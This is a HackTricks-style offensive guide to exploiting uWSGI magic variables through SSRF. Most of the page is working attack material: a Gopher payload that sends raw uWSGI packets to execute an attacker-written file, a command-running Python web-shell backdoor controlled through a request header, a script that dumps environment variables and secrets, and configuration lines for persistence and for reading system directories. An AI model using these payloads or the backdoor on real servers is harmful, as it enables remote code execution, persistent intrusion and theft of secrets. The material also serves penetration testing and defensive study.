carlospolop 06f8b982b7 f
2025-09-26 00:05:48 +02:00

5.9 KiB

WSGI Post-Exploitation Tricks

{{#include ../../banners/hacktricks-training.md}}

WSGI Overview

Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications.

uWSGI Magic Variables Exploitation

uWSGI provides special "magic variables" that can be used to dynamically configure the server behavior. These variables can be set through HTTP headers and may lead to serious security vulnerabilities when not properly validated.

Key Exploitable Variables

UWSGI_FILE - Arbitrary File Execution

uwsgi_param UWSGI_FILE /path/to/python/file.py;

This variable allows loading and executing arbitrary Python files as WSGI applications. If an attacker can control this parameter, they can achieve Remote Code Execution (RCE).

UWSGI_SCRIPT - Script Loading

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Loads a specified script as a new application. Combined with file upload or write capabilities, this can lead to RCE.

UWSGI_MODULE and UWSGI_CALLABLE - Dynamic Module Loading

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

These parameters allow loading arbitrary Python modules and calling specific functions within them.

UWSGI_SETENV - Environment Variable Manipulation

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Can be used to modify environment variables, potentially affecting application behavior or loading malicious configuration.

UWSGI_PYHOME - Python Environment Manipulation

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Changes the Python virtual environment, potentially loading malicious packages or different Python interpreters.

UWSGI_CHDIR - Directory Traversal

uwsgi_param UWSGI_CHDIR /etc/;

Changes the working directory before processing requests, which can be used for path traversal attacks.

SSRF + Gopher to

The Attack Vector

When uWSGI is accessible through SSRF (Server-Side Request Forgery), attackers can interact with the internal uWSGI socket to exploit magic variables. This is particularly dangerous when:

  1. The application has SSRF vulnerabilities
  2. uWSGI is running on an internal port/socket
  3. The application doesn't properly validate magic variables

uWSGI is accessible due to SSRF because the config file uwsgi.ini contains: socket = 127.0.0.1:5000 making it accessible from the web application through SSRF.

Exploitation Example

Step 1: Create Malicious Payload

First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter):

# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

Step 2: Craft uWSGI Protocol Request

Use Gopher protocol to send raw uWSGI packets:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

This payload:

  • Connects to uWSGI on port 5000
  • Sets UWSGI_FILE to point to the malicious file
  • Forces uWSGI to load and execute the Python code

uWSGI Protocol Structure

The uWSGI protocol uses a binary format where:

  • Variables are encoded as length-prefixed strings
  • Each variable has: [name_length][name][value_length][value]
  • The packet starts with a header containing the total size

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

# backdoor.py
import subprocess
import base64

def application(environ, start_response):
    cmd = environ.get('HTTP_X_CMD', '')
    if cmd:
        result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
        response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
    else:
        response = "Backdoor active"
    
    start_response('200 OK', [('Content-Type', 'text/plain')])
    return [response.encode()]

Then use UWSGI_FILE to load this backdoor:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

Environment-based Persistence

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. Information Disclosure

Environment Variable Dumping

# env_dump.py
import os
import json

def application(environ, start_response):
    env_data = {
        'os_environ': dict(os.environ),
        'wsgi_environ': dict(environ)
    }
    
    start_response('200 OK', [('Content-Type', 'application/json')])
    return [json.dumps(env_data, indent=2).encode()]

File System Access

Use UWSGI_CHDIR combined with file serving to access sensitive files:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Privilege Escalation

Socket Manipulation

If uWSGI runs with elevated privileges, attackers might manipulate socket permissions:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

Configuration Override

# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

References

{{#include ../../banners/hacktricks-training.md}}